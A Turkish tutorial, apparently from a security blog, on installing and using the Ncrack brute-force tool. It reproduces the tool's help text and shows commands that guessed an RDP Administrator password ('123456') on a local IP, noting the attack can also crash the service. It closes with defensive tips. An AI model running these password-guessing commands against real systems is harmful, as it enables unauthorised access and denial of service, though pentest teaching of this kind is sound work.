Ncrack, gelişmiş bir aktif brute force aracıdır. Ncrack üzerinden bu saldırı gerçekleştirilebilir. Aynı zamanda SSH, RDP, HTTP(s), POP3(s), FTP ve telnet gibi bir çok popüler network protokolünü desteklemektedir. RDP desteğinin eklenmesi ile birlikte Windows sistemlerin uzak masaüstü servisine parola denemesi yapan tscrack ve tsgrinder yazılımlarının yerini aldı. Bir çok brute force aracından tek farkı RDP ile birlikte Nmap çıktılarını yorumlayabiliyor ve paralel parola denemeleri gerçekleştirebiliyor. Sızma testlerinde kullanabileceğiniz araçlardan biri olarak Ncrack ön plana çıkmaktadır. Windows Uzak Masaüstü’ne yönelik brute force saldırlarında da rahatlıkla kullanılabilir.
Windows Uzak Masaüstü RDP Saldırısı NCrack Kurulumu
Linux / *BSD Sistemlere Kurulum: www.nmap.org/ncrack adresinden kaynak kod indirildikden sonra aşağıdaki komutlar ile kurulum yapabiliriz;
tar -xzf ncrack-0.3ALPHA.tar.gz
cd ncrack-0.3ALPHA
./configure
make
su root
make install
Windows Sistemlere Kurulum: Windows platformlarda da çalışabilen ncrack yazılımının kurulum dosyasını çalıştırıp, kurulum sihirbazındaki yönergeler takip edilerek kurulum sonlandırılabilir.
NCrack Kullanımı
Kullanım parametreleri hakkında bilgi almak için
# ncrack –help
Ncrack 0.3ALPHA ( https://nmap.org/ncrack/ )
Usage: ncrack [Options] {target and service specification}TARGET SPECIFICATION:
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
-iX <inputfilename>: Input from Nmap’s -oX XML output format
-iN <inputfilename>: Input from Nmap’s -oN Normal output format
-iL <inputfilename>: Input from list of hosts/networks
–exclude <host1[,host2][,host3],…>: Exclude hosts/networks
–excludefile <exclude_file>: Exclude list from fileSERVICE SPECIFICATION:
Can pass target specific services in <service>://target (standard) notation or
using -p which will be applied to all hosts in non-standard notation.
Service arguments can be specified to be host-specific, type of service-specific
(-m) or global (-g). Ex: ssh://10.0.0.10,at=10,cl=30 -m ssh:at=50 -g cd=3000
Ex2: ncrack -p ssh,ftp:3500,25 10.0.0.10 scanme.nmap.org google.com:80,ssl
-p <service-list>: services will be applied to all non-standard notation hosts
-m <service>:<options>: options will be applied to all services of this type
-g <options>: options will be applied to every service globallMisc options:
ssl: enable SSL over this service
path <name>: used in modules like HTTP (‘=’ needs escaping if used)TIMING AND PERFORMANCE:
Options which take <time> are in seconds, unless you append ‘ms’
(miliseconds), ‘m’ (minutes), or ‘h’ (hours) to the value (e.g. 30m).
Service-specific options:
cl (min connection limit): minimum number of concurrent parallel connections
CL (max connection limit): maximum number of concurrent parallel connections
at (authentication tries): authentication attempts per connection
cd (connection delay): delay <time> between each connection initiation
cr (connection retries): caps number of service connection attempts
to (time-out): maximum cracking <time> for service, regardless of success so far
-T<0-5>: Set timing template (higher is faster)
–connection-limit <number>: threshold for total concurrent connectionsAUTHENTICATION:
-U <filename>: username file
-P <filename>: password file
–user <username_list>: comma-separated username list
–pass <password_list>: comma-separated password list
–passwords-first: Iterate password list for each username. Default is opposite.OUTPUT:
-oN/-oX <file>: Output scan in normal and XML format, respectively, to the given filename.
-oA <basename>: Output in the two major formats at once
-v: Increase verbosity level (use twice or more for greater effect)
-d[level]: Set or increase debugging level (Up to 10 is meaningful)
–nsock-trace <level>: Set nsock trace level (Valid range: 0 – 10)
–log-errors: Log errors/warnings to the normal-format output file
–append-output: Append to rather than clobber specified output filesMISC:
–resume <file>: Continue previously saved session
-f: quit cracking service after one found credential
-6: Enable IPv6 cracking
-sL or –list: only list hosts and services
–datadir <dirname>: Specify custom Ncrack data file location
-V: Print version number
-h: Print this help summary page.MODULES:
FTP, SSH, TELNET, HTTP(S), POP3(S)EXAMPLES:
ncrack -v –user root localhost:22
ncrack -v -T5
ncrack -v -iX ~/nmap.xml -g CL=5,to=1hSEE THE MAN PAGE FOR MORE OPTIONS AND EXAMPLES
Varsayılan olarak parola sözlüğünü /usr/local/share/ncrack/default.pwd dosyasında tutar. Sık kullanılan parametreleri ve açıklamaları;
-p = protokol
–user = spesifik kullanıcı adı
–pass = spesifik parola
-v = bilgi ver
– CL = Paralel olarak tarama yapılacak eş zamanlı maksimum bağlantı sayısı
-U = Kullanıcı dosyası
-P = Parola dosyası
Örnekler;
ncrack -v –user root localhost:22
ncrack -v -T5
ncrack -v -iX ~/nmap.xml -g CL=5,to=1h
Microsoft Uzak Masaüstü (RDP) Servisine Parola Denemesi
#ncrack -vv –user Administrator -p rdp 192.168.5.37
Starting Ncrack 0.3ALPHA ( https://nmap.org/ncrack/ ) at 2011-04-13 10:30 EDT
rdp://192.168.5.37:3389 Valid credentials, however, another user is currently logged on.
Discovered credentials on rdp://192.168.5.37:3389 ‘Administrator‘ ‘123456‘
Saldırı aşamasında svchost.exe’nin çok yüksek CPU kullandığı ve mstsc servisinin çöktüğü gözlemlenmiştir.Hedef sistemde başarılı bir bruteforse saldırısı yapılamasa bile, bir servis dışı bırakma saldırısına yol açılabilir.
NCrack Saldırılarına Karşı Korunma Yolları
- Local policy ile eş zamanlı bağlantı sayısını sınırlandırın
- RDP portunu değiştirin (varsayılan olarak 3389)
- RDP kullanıcısını tahmin edilmesi zor bir kullanıcı seçin
- RDP parolasını tahmin edilmesi zor bir parola seçin